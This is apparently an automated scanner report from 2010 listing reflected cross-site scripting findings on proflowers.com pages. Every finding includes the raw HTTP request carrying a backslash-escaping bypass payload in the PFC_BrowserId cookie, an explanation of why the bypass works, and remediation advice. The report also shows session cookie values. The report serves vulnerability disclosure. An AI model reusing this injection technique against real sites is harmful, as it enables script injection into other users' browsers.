GET /flower-bouquets-all HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0da5757\"%3balert(1)//08a409a90a5; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:02 GMT Connection: close Content-Length: 126108
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f8c1\"%3balert(1)//f4c418c8fea was submitted in the PFC_BrowserId cookie. This input was echoed as 8f8c1\\";alert(1)//f4c418c8fea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flower-packages-mdp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d8f8c1\"%3balert(1)//f4c418c8fea; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:16 GMT Connection: close Content-Length: 124664
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57731\"%3balert(1)//342b272aec4 was submitted in the PFC_BrowserId cookie. This input was echoed as 57731\\";alert(1)//342b272aec4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/christmas-flower-decorating/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d57731\"%3balert(1)//342b272aec4; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:44 GMT Connection: close Content-Length: 70025
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c664\"%3balert(1)//f54c6e39c1f was submitted in the PFC_BrowserId cookie. This input was echoed as 8c664\\";alert(1)//f54c6e39c1f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/great-ideas-christmas-decorating/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d8c664\"%3balert(1)//f54c6e39c1f; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:45 GMT Connection: close Content-Length: 77923
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4e1bf\"%3balert(1)//c1d117056d8 was submitted in the PFC_BrowserId cookie. This input was echoed as 4e1bf\\";alert(1)//c1d117056d8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/history-of-poinsettia/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d4e1bf\"%3balert(1)//c1d117056d8; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:53 GMT Connection: close Content-Length: 83255
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5351a\"%3balert(1)//68651239453 was submitted in the PFC_BrowserId cookie. This input was echoed as 5351a\\";alert(1)//68651239453 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/history-of-the-wreath/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d5351a\"%3balert(1)//68651239453; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:59 GMT Connection: close Content-Length: 94956
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97fcc\"%3balert(1)//12f517b64a8 was submitted in the PFC_BrowserId cookie. This input was echoed as 97fcc\\";alert(1)//12f517b64a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowerguide/top-ten-christmas-decorations/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d97fcc\"%3balert(1)//12f517b64a8; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:59 GMT Connection: close Content-Length: 77365
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81a60\"%3balert(1)//016f0bf28a4 was submitted in the PFC_BrowserId cookie. This input was echoed as 81a60\\";alert(1)//016f0bf28a4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowering-plants-blp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d81a60\"%3balert(1)//016f0bf28a4; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:11 GMT Connection: close Content-Length: 178419
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 488a1\"%3balert(1)//7edd3a5a64a was submitted in the PFC_BrowserId cookie. This input was echoed as 488a1\\";alert(1)//7edd3a5a64a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers-by-the-month-fbm HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d488a1\"%3balert(1)//7edd3a5a64a; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:01 GMT Connection: close Content-Length: 104367
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e056\"%3balert(1)//e8805a4ab24 was submitted in the PFC_BrowserId cookie. This input was echoed as 7e056\\";alert(1)//e8805a4ab24 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /fresh-flowers-new HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d7e056\"%3balert(1)//e8805a4ab24; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:14 GMT Connection: close Content-Length: 185312
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ec14f\"%3balert(1)//2858e1df169 was submitted in the PFC_BrowserId cookie. This input was echoed as ec14f\\";alert(1)//2858e1df169 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /fresh-fruit-baskets-frt HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dec14f\"%3balert(1)//2858e1df169; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:00 GMT Connection: close Content-Length: 146830
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 114d1\"%3balert(1)//3c103cdb413 was submitted in the PFC_BrowserId cookie. This input was echoed as 114d1\\";alert(1)//3c103cdb413 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
